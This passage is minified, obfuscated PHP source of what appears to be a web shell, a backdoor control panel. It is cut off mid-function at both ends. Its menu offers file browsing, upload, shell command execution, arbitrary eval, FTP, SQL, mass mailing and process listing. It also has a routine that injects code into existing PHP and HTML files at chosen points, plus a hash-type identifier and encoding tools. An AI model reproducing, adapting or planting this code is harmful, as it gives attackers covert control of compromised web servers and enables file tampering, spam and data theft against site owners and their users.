',(5-@strlen($n))):'').\"   $t\\r\\n\";@fclose($c);}}}return $p;}function z8l($a){$b=@strtolower(@ini_get($a));if($b=='on'||$b=='yes'||$b=='true'){return 'assert.active'!==$a;}elseif($b=='stderr'||$b=='stdout'){return 'display_errors'===$a;}else{return (bool)(int)$b;}}function z8f($c,$l){return(@strlen($c)>$l)?@substr($c,0,(@ceil($l\/2)-2)).\"[..]\".@substr($c,-(@ceil($l\/2)-2)):$c;}function init_buffer(){if(!@isset($_SESSION['buffer'])){$_SESSION['buffer']=array();}}function unset_buffer(){if(@isset($_SESSION['buffer'])){unset($_SESSION['buffer']);}}function z8y($s,$d=',',$e='\"',$esc='\\\\'){$n=0;$r=array();$ed='%#%#%E%S%C%A%P%E%D%#%#%';$s=@str_replace($esc.$e,$ed,$s);$s=@preg_replace('\/'.$e.'([^'.$e.']+)'.$e.'(\\s|\\t)+'.$d.'\/',$e.\"\\\\1\".$e.$d,$s);$s=@preg_replace('\/'.$e.'([^'.$e.']+)'.$e.$d.'(\\s|\\t)+\/',$e.\"\\\\1\".$e.$d,$s);if(@strstr($s,$e)){$a=@explode($e,$s);foreach($a as $i){if($n++%2){@array_push($r,@str_replace($ed,$e,@array_pop($r).$i));}else{$b=@explode($d,$i);@array_push($r,@str_replace($ed,$e,@array_pop($r).@array_shift($b)));$r=@array_merge($r,$b);}}}return $r;}function z5g($s,$eol=\"\\n\",$d=',',$e='\"',$esc='\\\\'){$r=array();if(@strstr($s,$eol)){$p=@explode($eol,$s);foreach($p as $l){if(!@empty($l))$r[]=z8y($l,$d,$e,$esc);}}else{$r[]=z8y($s,$d,$e,$esc);}return $r;}function z8u($e){$r=z9t(\"PATH='\/bin:\/usr\/bin:\/usr\/local\/bin:\/sbin:\/usr\/sbin:\/usr\/local\/sbin';which $e\");return(@empty($r)?0:$r);}function z4h(&$arr,$k=\"\"){if(@is_array($arr)){foreach($arr as $k=>$v){if(@strtoupper($k)!=\"GLOBALS\"){if(@strtoupper($k)==\"_FILES\"&&@isset($arr[\"$k\"])&&@count($arr[\"$k\"])>0){z3y($arr[\"$k\"]);}z4h($arr[\"$k\"]);}}}else{$arr=@stripslashes($arr);}}function z2m($h,$n,$o=0){$l=@strlen($h);$o=($o>0)?($l-$o):@abs($o);$p=@strpos(@strrev($h),@strrev($n),$o);return($p===false)?false:($l-$p-@strlen($n));}function z4i($inj,$w,$f){$c=z9p($f);$r='';if(!$c)return false;switch($w){case 'top':$r=$inj.$c;break;case 'end':$r=$c.$inj;break;case 'php1':$p=@strpos($c,'<?');if($p===false)return false;$r=@substr($c,0,$p).$inj.@substr($c,$p);break;case 'php2':$p=z2m($c,'?>');if($p===false)return false;$p+=2;$r=@substr($c,0,$p).$inj.@substr($c,$p);break;case 'html1':$p=@strpos($c,'<html>');if($p===false)return false;$r=@substr($c,0,$p).$inj.@substr($c,$p);break;case 'html2':$p=@strpos($c,'<\/html>');if($p===false)return false;$r=@substr($c,0,$p).$inj.@substr($c,$p);break;case 'html3':$p=@strpos($c,'<html>');if($p===false)return false;$p+=6;$r=@substr($c,0,$p).$inj.@substr($c,$p);break;case 'html4':$p=@strpos($c,'<\/html>');if($p===false)return false;$p+=7;$r=@substr($c,0,$p).$inj.@substr($c,$p);break;case 'body1':if(!@preg_match('\/<body[^>]*>\/',$c,$m))return false;$p=@strpos($c,$m[0]);$r=@substr($c,0,$p).$inj.@substr($c,$p);break;case 'body2':$p=z2m($c,'<\/body>');if($p===false)return false;$r=@substr($c,0,$p).$inj.@substr($c,$p);break;case 'body3':if(!@preg_match('\/<body[^>]*>\/',$c,$m))return false;$p=@strpos($c,$m[0]);$p+=@strlen($m[0]);$r=@substr($c,0,$p).$inj.@substr($c,$p);break;case 'body4':$p=z2m($c,'<\/body>');if($p===false)return false;$p+=7;$r=@substr($c,0,$p).$inj.@substr($c,$p);break;case 'overwrite':$r=$inj;break;default:return false;break;}return z9y($f,$r);}function z3y(&$a,$k=''){if(@is_array($a)){foreach($a as $k=>$v){z3y($a[\"$k\"]);}}else{if($a=='name'||$a=='tmp_name')$a=z1i($a);}}function z8r($n,$ac,$a,$b=0){global $act;return z6x(z5c(array('act'=>$ac,'d','sort'),z8v($n,($a?'4':'5'),($act==$ac&&$b?' style=\"border-right:0;\"':''))),'5');}function z0o($k){if(!@isset($_SESSION[$k])||!@is_array($_SESSION[$k])){z0u($k);$_SESSION[$k]=array();$_SESSION[$k][]=array('act'=>z7x('2','default_act'));}}function z2l($k){if(@count($_SESSION[$k])>0)return@count($_SESSION[$k]);$_SESSION[$k][]=array('act'=>z7x('2','default_act'));return@count($_SESSION[$k]);}function z0c(){$p=array();if(@count($_POST)>0){foreach($_POST as $n=>$v){if(@substr($n,0,5)!='backf')$p[$n]=$v;}}return $p;}function z0f($k){$cleanp=z0c();if($cleanp!=z3d($k))$_SESSION[$k][]=$cleanp;}function z3o($k){$_SESSION[$k]=@array_reverse($_SESSION[$k]);@array_pop($_SESSION[$k]);$_SESSION[$k]=@array_reverse($_SESSION[$k]);z2i($k);}function z3d($k){$c=z2l($k);if($c==0)return array();if($c>0)z2i($k);$n=(($c>1)?($c-2):(($c>0)?($c-1):0));return $_SESSION[$k][$n];}function z2i($k){$r=array();foreach($_SESSION[$k]as $v)$r[]=$v;$_SESSION[$k]=$r;}function z5d($sk){global $backf,$white,$back_form_actions;z0o($sk);if(@isset($backf)&&$backf){@array_pop($_SESSION[$sk]);}elseif(!@isset($white)||!$white){z0f($sk);}$back=z3d($sk);if(z2l($sk)>10)z3o($sk);$a=array();if(@count($back)>0){$a['backf']='1';if(@is_array($back)){foreach($back as $k=>$v){$a['backf_'.$k]=@urlencode($v);}}}$back_form_actions=$a;return z6x(((@count($a)>0)?z5c($a,z8v(z9s(\"23\"),'15')):z8v(z9s(\"23\"),'5')),'5');}function z0s(){global $act,$sh_exec,$safe_exec,$bftp,$bmail;echo z7s(z7i(z5d('hist').z8r(z9s(\"24\"),\"ls\",(@in_array($act,array(\"ls\",\"d\",\"f\",\"dfunc\")))).z8r(z9s(\"25\"),\"search\",($act==\"search\")).z8r(z9s(\"26\"),\"upload\",($act==\"upload\")).(($sh_exec||$safe_exec)?z8r(z9s(\"27\"),\"cmd\",($act==\"cmd\")):'').z8r(z9s(\"28\"),\"eval\",($act==\"eval\")).($bftp?z8r(z9s(\"193\"),\"ftp\",($act==\"ftp\")):'').z8r(z9s(\"29\"),\"sql\",($act==\"sql\")).($bmail?z8r(z9s(\"30\"),\"mailer\",($act==\"mailer\")):'').z8r(z9s(\"31\"),\"encoders\",($act==\"encoders\")).z8r(z9s(\"32\"),\"tools\",($act==\"tools\")).($sh_exec?z8r(z9s(\"33\"),\"processes\",($act==\"processes\")):'').z8r(z9s(\"34\"),\"sysinfo\",(@in_array($act,array(\"sysinfo\",\"phpinfo\")))).z8r(\"&nbsp;\",false,\"\")),'4');}function z1i($t){$t=@str_replace('\\\\','\/',$t);if(@strstr($t,'\/\/')){while(@strstr($t,'\/\/')!==false)$t=@str_replace('\/\/','\/',$t);}return $t;}function z1a($t){$t=z1i($t);if(@substr($t,-1)!='\/')$t.='\/';if(@preg_match('\/[^\\\/\\r\\n\"\\']+\\\/\\.\\.\\\/\/',$t))$t=@preg_replace('\/[^\\\/\\r\\n\"\\']+\\\/\\.\\.\\\/\/','',$t);if($t=='\/..\/')$t='\/';if($t!='.\/'&&@strstr($t,'.\/')!==false)$t=@str_replace('.\/','',$t);return $t;}function z3q($f,$t,$c){if(@strstr($c,$f))while(@strstr($c,$f))$c=@str_replace($f,$t,$c);return $c;}function z1d($action){global $d,$win;if(!$win)return '';$e=@explode(\"\/\",$d);$r='';foreach(@range(\"B\",\"Z\")as $let){if($let.\":\"!=@strtoupper($e[0])&&z4q($let.\":\/\")){$r.=z5c(array(\"act\"=>$action,\"d\"=>@strtoupper($let).\":\/\"),z8v(\"[$let]\",\"1\")).z9c(2);}}return $r;}function z2d($t,$ftp=0){global $win;$def=\"\/\";if($win&&!$ftp){$path=@realpath(__FILE__);$def=@substr($path,0,1).\":\/\";}if(@substr($t,-1)=='\/')$t=@substr($t,0,-1);if(@empty($t))return array($def);$e=@explode('\/',$t);$d=array();if($win&&!$ftp){$p='';}else{$p='\/';}for($i=0;$i<@count($e);$i++){if(@empty($e[$i])){$d['\/']='\/';}else{$p.=$e[$i].'\/';$d[$p]=$e[$i];}}return $d;}function z1j($n,$a=array(),$c='',$g='',$t='1',$s=''){$r='<select name=\"'.$n.'\"'.($c!=''?' class=\"'.z4m($c,'4').'\"':'').($s!=''?(@is_numeric($s)?' '.z10t($s):' '.$s):'').'>'.\"\\n\";if($g!='')global ${$n};foreach($a as $k=>$v){$r.='<option value=\"'.($t=='1'?$k:$v).'\"'.(($g!=''&&($t=='1'?$k:$v)==${$n})?' selected':'').'>'.($t=='1'?$v:$k).'<\/option>'.\"\\n\";}$r.='<\/select>';return $r;}function z4a($n,$a=array(),$c='',$g='',$s=''){return z1j($n,$a,$c,$g,'1',$s);}function z2u($n,$a=array(),$c='',$g='',$s=''){return z1j($n,$a,$c,$g,'0',$s);}function z8j($t=0){global $d,$ftp_current_dir;$a=((!$t||$t=='l')?z2d($d):z2d($ftp_current_dir,1));$c=@count($a);$i=0;$n='';foreach($a as $k=>$v){$i++;$n.=z5c(($t===0?array('act'=>'ls','d'=>$k):($t=='l'?array('act'=>'ftp','d'=>$k):array('act'=>'ftp','d','ftp_current_dir'=>$k))),z8v($v,'1').(($v!='\/'&&$i!=$c)?' \/ ':' '));}echo z10e(z7i(z7l((!$t?z5c(array('act'=>'ls','d'=>z3p(__FILE__)),z8n('small_home','','9')).z9c().z1d(\"ls\"):'').$n.(!$t?' ('.z6y(z9r(@fileperms($d)),z6h($d)).')':''))),'5');}function z2z(){global $d;echo z2b(z10e(z7i(z6x(z5c(array('act'=>'f','d'),z8e(z9s(\"35\")).z6i('f',$d,'0').z4a('ft',array('functions'=>z9s(\"74\"),'edit'=>z9s(\"75\"),'new'=>z9s(\"195\")),'1').z8v('&raquo;','7')),'').z6x(z5c(array('act'=>'d','dold'=>$d),z8e(z9s(\"36\")).z6i('d',$d,'0').z4a('dt',array('chdir'=>z9s(\"425\"),'new'=>z9s(\"195\")),'1').z8v('&raquo;','7')),'')),'2'),'');}function z5r($s){$a=@preg_replace('\/[^0-9]\/','',$s);if(@empty($a))$a=\"0\";$b=@substr($s,-1);if($b!='d')$b='a';return array($a,$b);}function z3i($a,$b){global $v;return@strnatcmp(@strtolower($a[$v]),@strtolower($b[$v]));}function z9v($d){global $with_ls;$r=array();$ls=@str_replace('\\\\','',z9t('ls -a \"'.$d.'\" 2>\/dev\/null',0));$e=@explode(\"\\n\",$ls);if(@count($e)>0){$with_ls=1;foreach($e as $p){if($p!=''&&$p!=$d&&!@in_array($d.$p,$r))$r[]=$d.$p;}}return $r;}function z4d($pn,$t='f'){if($t=='d'){$ls=@str_replace('\\\\','',z9t('ls -dla \"'.$pn.'\" 2>\/dev\/null',0));}else{$ls=@str_replace('\\\\','',z9t('ls -la \"'.$pn.'\" 2>\/dev\/null',0));}$el=@explode(\"\\n\",$ls);if(@count($el)>0){$l=$el[0];}else{$l=$ls;}if(@strstr($l,'->')){$ll=@explode('->',$l);if(@count($ll)>2){@array_pop($ll);$l=@implode('->',$ll);}else{$l=@trim($ll[0]);}}$len=@strlen($l);$pnl=(@strlen($pn)+1);if(@substr($l,-$pnl)==\" \".$pn){$pi=@substr($l,0,($len-$pnl));$pi=z3q('  ',' ',$pi);$p2=@explode(\" \",$pi);if(@count($p2)>5){$pp=$p2[0];$pu=$p2[2];$pg=$p2[3];$ps=$p2[4];if(!@is_numeric($ps)&&@substr($ps,-1)==\",\"&&@is_numeric($p2[5])){$ps.=$p2[5];$st=6;}else{$st=5;}if(@is_numeric($ps))$ps=z7c($ps);$pd='';for($i=$st;$i<@count($p2);$i++)$pd.=$p2[$i].' ';$pd=@trim($pd);if(z7r('strtotime')&&($s2t=@strtotime($pd))!==false)$pd=@date(\"Y-m-d H:i\",$s2t);if($pp[0]==\"l\"){return array($pn,'LINK',$pd,array($pu,$pg),$pp);}elseif($pp[0]==\"d\"){return array($pn,'DIR',$pd,array($pu,$pg),$pp);}else{return array($pn,$ps,$pd,array($pu,$pg),$pp);}}}return array('','','',array('',''),'');}function z8k($d){global $nix,$sh_exec,$act,$lswf;$d=z1a($d);if(@substr($d,-1)!='\/')$d.='\/';$r=array();$lswf='';if(z7r('scandir')&&($h=@scandir($d))){foreach($h as $t)$r[]=$d.$t;$lswf='scandir';}elseif(z7r('dir')&&($h=@dir($d))){while(($t=$h->read())!==false)$r[]=$d.$t;$h->close();$lswf='dir';}elseif(z7r('opendir')&&z7r('readdir')&&z7r('closedir')&&($h=@opendir($d))){while(($t=@readdir($h))!==false)$r[]=$t;@closedir($h);$lswf='opendir';}elseif($nix&&$sh_exec&&($act==\"ls\"||$act==\"search\")&&@count($r=z9v($d))>0){$lswf='ls';return $r;}elseif(z7r('glob')&&($h=@glob($d.'*'))!==false){if(@count($h)>0){foreach($h as $t)$r[]=$t;}if(($h=@glob($d.'.*'))!==false&&@count($h)>0){foreach($h as $t)$r[]=$t;}if(@count($r)>0&&!@in_array($d.'.',$r))$r[]=$d.'.';if(@count($r)>0&&!@in_array($d.'..',$r))$r[]=$d.'..';$lswf='glob';}if(@count($r)>0)@sort($r);return $r;}function z4t(){global $use_images,$use_buffer,$act,$bcopy,$bcut,$showbuf,$d,$with_ls,$lswf,$filter;$f_a=array('all'=>z9s(\"37\"),'dirs'=>z9s(\"38\"),'files'=>z9s(\"39\"),'archives'=>z9s(\"40\"),'exes'=>z9s(\"41\"),'php'=>z9s(\"42\"),'html'=>z9s(\"43\"),'text'=>z9s(\"44\"),'images'=>z9s(\"45\"),'other'=>z9s(\"46\"));$fs='';foreach($f_a as $fk=>$f)$fs.=z5c(array('act','d','showbuf','filter'=>$fk),z8v($f,(((@isset($filter)&&$filter==$fk)||(!@isset($filter)&&$fk=='all'))?'17':'16')));$ba=z5c(array('act','d','use_buffer'=>($use_buffer?'0':'1')),z8v(($use_buffer?z9s(\"50\"):z9s(\"49\")),'16'));if($use_buffer&&(@count($bcopy)>0||@count($bcut)>0)){$bbcopy=(@count($bcopy)>0);$bbcut=(@count($bcut)>0);$ba.=z5c(array('act'=>'ls','d','emptybuf'=>'1'),z8v(z9s(\"51\"),'16')).((!@isset($showbuf)||!$showbuf)?z5c(array('act'=>'ls','d','showbuf'=>'1'),z8v(z9s(\"52\"),'16')).($bbcopy?z5c(array('act'=>\"d\",'d','dt'=>'bpastecopy','showbuf'),z8v(z9s(\"54\"),'16')):'').($bbcut?z5c(array('act'=>\"d\",'d','dt'=>'bpastecut','showbuf'),z8v(z9s(\"55\"),'16')):'').(($bbcopy&&$bbcut)?z5c(array('act'=>\"d\",'d','dt'=>'bpasteall','showbuf'),z8v(z9s(\"56\"),'16')):''):z5c(array('act'=>'ls','d'),z8v(z9s(\"53\"),'16')));}if(!@isset($lswf))$lswf='';echo z10e(z7i(z6x($fs.z5c(array('act','d','showbuf','use_images'=>($use_images?'0':'1')),z8v(($use_images?z9s(\"48\"):z9s(\"47\")),'16')).$ba,'11')),'7');}function z1e($t,$filter,$tt){global $index;if(z2h($t)=='..')return 1;switch($filter){case 'dirs':return($tt=='d');case 'files':return($tt=='f'||$tt=='e');case 'exes':return($tt=='e'||(($tt=='f'||$tt=='e')&&@preg_match('\/\\.('.@implode('|',@array_merge($index['cmd'],$index['pl'])).')$\/i',$t)));case 'archives':return(($tt=='f'||$tt=='e')&&@preg_match('\/\\.('.@implode('|',$index['tar']).')$\/i',$t));case 'php':return(($tt=='f'||$tt=='e')&&@preg_match('\/\\.('.@implode('|',$index['php']).')$\/i',$t));case 'html':return(($tt=='f'||$tt=='e')&&@preg_match('\/\\.('.@implode('|',$index['html']).')$\/i',$t));case 'text':return(($tt=='f'||$tt=='e')&&@preg_match('\/\\.('.@implode('|',@array_merge($index['txt'],$index['wri'],$index['doc'])).')$\/i',$t));case 'images':return(($tt=='f'||$tt=='e')&&@preg_match('\/\\.('.@implode('|',$index['jpg']).')$\/i',$t));case 'other':return($tt=='f'&&!@preg_match('\/\\.('.@implode('|',@array_merge($index['tar'],$index['php'],$index['html'],$index['jpg'],$index['txt'],$index['wri'],$index['doc'],$index['cmd'],$index['pl'])).')$\/i',$t));default:return 1;}}function z0h($f,$t='',$d=0){global $use_buffer,$bcut,$bcopy,$with_ls,$external,$bziparchive,$reg_archives,$nix,$sh_exec;if($d==0){$d=z3p($f);}else{global $d;}$f=z2h($f);$a=array();$a['functions']=z9s(\"74\");$a['edit']=z9s(\"75\");if(@isset($reg_archives)&&$reg_archives!=''){if(@preg_match('\/\\.('.$reg_archives.')$\/',$f,$m)){if(@isset($m[1])){if($m[1]!=\"zip\"||($m[1]==\"zip\"&&$nix&&$sh_exec))$a['extract']=z9s(\"478\",$m[1]);if($m[1]==\"zip\"&&$bziparchive)$a['extractzip']=z9s(\"478\",\"zip (php)\");}}}if($use_buffer&&(!@isset($with_ls)||!$with_ls)&&(!@isset($external)||!$external)){$a['bcopy']=(@in_array($f,$bcopy)?z9s(\"69\"):z9s(\"67\"));$a['bcut']=(@in_array($f,$bcut)?z9s(\"70\"):z9s(\"68\"));}$a['delete']=z9s(\"72\");if(!@isset($external)||!$external)$a['rename']=z9s(\"73\");$a['download']=z9s(\"76\");return z5c(array('act'=>'f','f'=>$f,'d'=>$d,'showbuf'),z4a('ft',$a,'3').z8v('&raquo;','6'),$t);}function z0m($tt,$t=''){global $use_buffer,$bcopy,$bcut,$with_ls,$showbuf;$a=array();$a['chdir']=z9s(\"425\");$a['functions']=z9s(\"74\");if($use_buffer&&(!@isset($with_ls)||!$with_ls)){$a['bcopy']=(@in_array($tt,$bcopy)?z9s(\"69\"):z9s(\"67\"));$a['bcut']=(@in_array($tt,$bcut)?z9s(\"70\"):z9s(\"68\"));if(!@isset($showbuf)||!$showbuf){if(@count($bcopy)>0)$a['bpastecopy']=z9s(\"54\");if(@count($bcut)>0)$a['bpastecut']=z9s(\"55\");if(@count($bcopy)>0&&@count($bcut)>0)$a['bpasteall']=z9s(\"56\");}}$a['rename']=z9s(\"73\");$a['delete']=z9s(\"72\");return z5c(array('act'=>'d','d','tt'=>$tt,'showbuf'),z4a('dt',$a,'3').z8v('&raquo;','6'),$t);}function z1y($d,$t){return z5c(array('act'=>'d','d'=>$d),z4a('dt',array('chdir'=>z9s(\"425\")),'3').z8v('&raquo;','6'),$t);}function z0w($d){return z5c(array('act'=>'ftp','flsort','ffsort','d'=>$d),z4a('chdir',array(''=>z9s(\"425\")),'3').z8v('&raquo;','6'));}function z0q($t){return z5c(array('act'=>'ftp','flsort','ffsort','d','rd'=>$t),z4a('ft',array('chdir'=>z9s(\"425\")),'3').z8v('&raquo;','6'));}function z0t($t){return z5c(array('act'=>'ftp','flsort','ffsort','d','lt'=>$t),z4a('ft',array('upload'=>z9s(\"197\"),'delete'=>z9s(\"199\")),'3').z8v('&raquo;','6'));}function z0r($t){return z5c(array('act'=>'ftp','flsort','ffsort','d','rt'=>$t),z4a('ft',array('download'=>z9s(\"198\"),'delete'=>z9s(\"199\")),'3').z8v('&raquo;','6'));}function z4q($t){if(z4e($t)||z4j($t)||z3j($t)||z0n($t)||z0v($t)||z5o($t))return 1;return 0;}function z2r($f,$t){global $nix,$sh_exec;if(@file_exists($f)){if($t=='f')return@is_file($f);if($t=='d')return@is_dir($f);if($t=='L')return@is_link($f);if($t=='r')return@is_readable($f);if($t=='w')return@is_writable($f);if($t=='x')return@is_executable($f);}elseif($nix&&$sh_exec){$h=z9t('if [ -'.$t.' \"'.$f.'\" ]; then echo \"istrue\"; else echo \"isfalse\"; fi',0);return(@strstr($h,\"istrue\")&&!@strstr($h,\"isfalse\"));}return 0;}function z4e($f){return z2r($f,'f');}function z4j($f){return z2r($f,'d');}function z3j($f){return z2r($f,'L');}function z0n($f){return z2r($f,'r');}function z0v($f){return z2r($f,'w');}function z5o($f){return z2r($f,'x');}function z5p(){echo@str_repeat('',1024);@ob_flush();@flush();}function z3g($t,$s){$l=@strlen($s);if(@substr($t,-$l)==$s){while(@substr($t,-$l)==$s)$t=@substr($t,0,(@strlen($t)-$l));}return $t;}function z1k($t,$s='\/'){$t=z1i($t);$t=z3g($t,$s);if(!@strstr($t,$s))return array();$e=@explode($s,$t);$f=$e[(@count($e)-1)];$l=(@strlen($t)-@strlen($f));$d=@substr($t,0,$l);return array(z1a($d),$f);}function z3p($t,$s='\/'){$e=z1k($t,$s);return(@count($e)==2?$e[0]:'.\/');}function z2h($t,$s='\/'){$e=z1k($t,$s);return(@count($e)==2?$e[1]:$t);}function z2b($a,$s=''){$r='';if(@is_array($a)){for($i=0;$i<@count($a);$i++)$r.=z7l($a[$i],'12',(($i==0)?'2'.$s:(($i==(@count($a)-1))?'3'.$s:$s)));}else{$r=z7l($a,'12','23'.$s);}return z10e(z7i($r),'3');}function z1x($c,$e=''){$s='';global $index;$i=$index;$a=array();if($e!=''){foreach($a as $k=>$v){if(@in_array($e,$v)){$s=$k;break;}}}if($s=='')$s=$e;if(@in_array($s,array('db','sql','pl','cgi','c','cc','cpp','h','hpp','icl','ipp'))){$c=@highlight_string('<?php'.$c.'?>',true);$p1=@stripos($c,'&lt;?php');$a=@substr($c,0,$p1);$b=@substr($c,$p1+8);$c=$a.$b;$p2=@strripos($c,'?&gt;');$a=@substr($c,0,$p2);$b=@substr($c,$p2+5);$c=$a.$b;}else{$c=@highlight_string($c,true);}$c=@str_replace(array('<font color=\"','<\/font>'),array('<span style=\"color: ','<\/span>'),$c);$c=@preg_replace('\/(\\r|\\n)\/','',$c);echo '<pre><code>'.$c.'<\/code><\/pre>';}function z4s($f){global $filealiases;$r=array();if(@strstr($f,'\/'))$f=z2h($f,'\/');$ext=@strtolower(z2h($f,'.'));foreach($filealiases as $k=>$v){if(@in_array($ext,$v))$r[]=$k;}return@array_unique($r);}function z4x($f){$a=z4s($f);$o=array('code','text');if(@count($a)>0){if(@count($a)>1){foreach($a as $ft){if(@in_array($ft,$o))return $ft;}return $a[0];}else{return $a[0];}}else{return '';}}function z3r($s){if(!@preg_match('\/[A-Z]\/i',$s))return $s;$s=@strtolower($s);for($i=0;$i<@strlen($s);$i++){if(@preg_match('\/[a-z]\/',$s[$i])){$s[$i]=@strtoupper($s[$i]);return $s;}}return $s;}function z3u($p){return@decbin(@hexdec($p));}function z4o($p){return@dechex(@bindec($p));}function z0l($p){$r='';for($i=0;$i<@strLen($p);$i+=2){$r.=@chr(@hexdec($p[$i].$p[$i+1]));}return $r;}function z1p($p){$r='';for($i=0;$i<@strlen($p);++$i)$r.=@sprintf('%02X',@ord($p[$i]));return@strtoupper($r);}function z0z($p){$r='';for($i=0;$i<@strlen($p);++$i)$r.=\"\\\\x\".@sprintf('%02X',@ord($p[$i]));return@chunk_split($r);}function z1t($p){$r='';for($i=0;$i<@strlen($p);++$i)$r.=\"\\\\x\".@sprintf('%02X',@ord($p[$i]));return@substr(@preg_replace('\/.{1,76}\/',\"'\\\\0'.\\n\",$r),0,-2);return@chunk_split($r);}function z0y($p){$r='';for($i=0;$i<@strlen($p);++$i)$r.='%'.@dechex(@ord($p[$i]));return@strtoupper($r);}function z4v($i){return@chunk_split(@base64_encode($i));}function z3m($i){return@substr(@preg_replace('\/.{1,76}\/',\"'\\\\0'.\\n\",@base64_encode($i)),0,-2);}function z3t($t){$r='';if(@preg_match_all('\/(?<strings>[\\x20-\\x7E]{4,})[^\\x20-\\x7E]?\/',$t,$m)){foreach($m[\"strings\"]as $s){$r.=$s.\"\\r\\n\";}}return $r;}function z0x(){$encode_functions=array();foreach(array(\"z3t\"=>\"Strings\",\"urlencode\"=>\"Urlencode\",\"urldecode\"=>\"Urldecode\",\"z0y\"=>\"Full Urlencode\",\"rawurlencode\"=>\"Rawurlencode\",\"rawurldecode\"=>\"Rawurldecode\",\"base64_encode\"=>\"Base64 Encode\",\"z4v\"=>\"Base64 Encode + Chunk\",\"z3m\"=>\"Base64 Encode + Chunk + Quotes\",\"base64_decode\"=>\"Base64 Decode\",\"z1p\"=>\"ASCII to HEX\",\"z0z\"=>\"ASCII to HEX + Chunk\",\"z0l\"=>\"HEX to ASCII\",\"z_hexdec\"=>\"HEX to DEC\",\"z3u\"=>\"HEX to BIN\",\"dechex\"=>\"DEC to HEX\",\"decbin\"=>\"DEC to BIN\",\"z4o\"=>\"BIN to HEX\",\"bindec\"=>\"BIN to DEC\",\"strtolower\"=>\"String to lowercase\",\"strtoupper\"=>\"String to UPPERCASE\",\"htmlspecialchars\"=>\"Htmlspecialchars\",\"strlen\"=>\"String Length\",\"strrev\"=>\"Reverse String\")as $key=>$val){if(z7r($key)||z7r(@substr($key,0,@strlen($key)-1))){$encode_functions[$key]=\"$val\";}}return $encode_functions;}function z3z($h){return(@preg_match('\/^[0-9a-fA-F]+$\/',$h)?1:0);}function z1b($h){return(@preg_match('\/^[0-9a-zA-Z+\\\/.]+==$\/',$h)?1:0);}function z2k($h){$l=@strlen($h);$r='Unknown';if($l===32){if(z3z($h)){$r='MD5 \/ MD4 \/ MD2 \/ NTLM \/ Tiger128 \/ SNEFRU128 \/ RipeMD128 \/ Haval128_3 \/ Haval128_4 \/ Haval128_5 \/ Domain Cached Credentials';}elseif(@preg_match('\/^[0-9A-F]+$\/',$h)){$r='Windows-LM \/ Windows-NTLM \/ RC4';}elseif(@preg_match('\/^[0-9a-zA-Z+\\\/.]+$\/',$h)){$r='Haval192 (Base64) \/ Tiger-192 (Base64)';}}elseif($l===40){if(z3z($h)){$r='SHA-0 \/ SHA-1 \/ Tiger160 \/ RipeMD160 \/ MySQL v5.x \/ Haval160 \/ Haval160_3 \/ Haval160_4 \/ Haval160_5';}}elseif($l===8){if(z3z($h)){$r='ADLER32 \/ CRC-32 \/ CRC-32B \/ GHash-32-3 \/ GHash-32-3';}}elseif($l===13){if(@preg_match('\/^[0-9a-zA-Z\\\/.]$\/',$h)){$r='DES (Unix)';}}elseif($l===16){if(z3z($h)){$r='MySQL';}}elseif($l===4){if(z3z($h)){$r='CRC-16 \/ CRC-16-CCITT \/ FCS-16';}}elseif($l===34){if(@preg_match('\/^\\$1\\$[0-9a-zA-Z\\\/.]{8}\\$[0-9a-zA-Z\\\/.]{22} $\/',$h)){$r='MD5 (Unix)';}elseif(@preg_match('\/^\\$P\\$B[0-9a-zA-Z\\\/.]$\/',$h)){$r='MD5(WordPress)';}elseif(@preg_match('\/^\\$H\\$9[0-9a-zA-Z\\\/.]$\/',$h)){$r='MD5(PhpBB3)';}}elseif($l===128){if(z3z($h)){$r='SHA-512 \/ WHIRLPOOL \/ SALSA20';}}elseif($l===96){if(z3z($h)){$r='SHA-384';}}elseif($l===48){if(z3z($h)){$r='Haval192 \/ Haval192_4 \/ Haval192_5 \/ Tiger192 \/ Tiger2 \/ SALSA10';}}elseif($l===56){if(z3z($h)){$r='Haval224 \/ Haval244_3 \/ Haval244_4 \/ SHA224';}if(z1b($h)){$r='RipeMD320 (Base64)';}}elseif($l===64){if(z3z($h)){$r='SNEFRU256 \/ SHA-256 \/ RipeMD256 \/ Panama \/ Haval256 \/ Haval256_3 \/ Haval256_4 \/ Haval256_5';}elseif(@preg_match('\/^[0-9a-zA-Z+\\\/.]+$\/',$h)){$r='SHA384 (Base64)';}}elseif($l===37){if(@preg_match('\/^\\$apr1\\$[0-9a-zA-Z\\\/.]{8}\\$[0-9a-zA-Z\\\/.]{22} $\/',$h)){$r='MD5 (APR)';}}elseif($l===80){if(z3z($h)){$r='RipeMD320';}}elseif($l===24){if(z1b($h)){$r='Haval128 (Base64) \/ MD2 (Base64) \/ MD4 (Base64) \/ MD5 (Base64) \/ RipeMD128 (Base64) \/ SNEFRU128 (Base64) \/ Tiger128 (Base64)';}}elseif($l===28){if(@preg_match('\/^[0-9a-zA-Z+\\\/.]+=$\/',$h)){$r='SHA-1 (Base64) \/ Haval160 (Base64) \/ RipeMD160 (Base64) \/ Tiger160 (Base64)';}}elseif($l===44){if(@preg_match('\/^[0-9a-zA-Z+\\\/.]+=$\/',$h)){$r='Haval256 (Base64) \/ RipeMD256 (Base64) \/ SHA256 (Base64) \/ SNEFRU256 (Base64)';}}elseif($l===88){if(z1b($h)){$r='SHA512 (Base64) \/ WHIRLPOOL (Base64)';}}elseif($l===9){if(@is_numeric($h)){$r='Elf-32';}}return $r;}function z2v(){global $tmonth_arr,$tday_arr,$tyear_arr,$thour_arr,$tmin_arr,$tsec_arr;$tmonth_arr=array(\"\"=>\"Month\");$tday_arr=array(\"\"=>\"Day\");$tyear_arr=array(\"\"=>\"Year\");$thour_arr=array(\"\"=>\"Hour\");$tmin_arr=array(\"\"=>\"Min\");$tsec_arr=array(\"\"=>\"Sec\");foreach(array(\"January\",\"February\",\"March\",\"April\",\"May\",\"June\",\"July\",\"August\",\"September\",\"October\",\"November\",\"December\")as $tmm)$tmonth_arr[$tmm]=$tmm;for($i=1;$i<=31;$i++)$tday_arr[$i]=$i;for($i=1998;$i<=@date(\"Y\");$i++)$tyear_arr[$i]=$i;for($i=1;$i<=24;$i++)$thour_arr[$i]=$i;for($i=1;$i<60;$i++){$tmin_arr[$i]=$i;$tsec_arr[$i]=$i;}}function z2j(){global 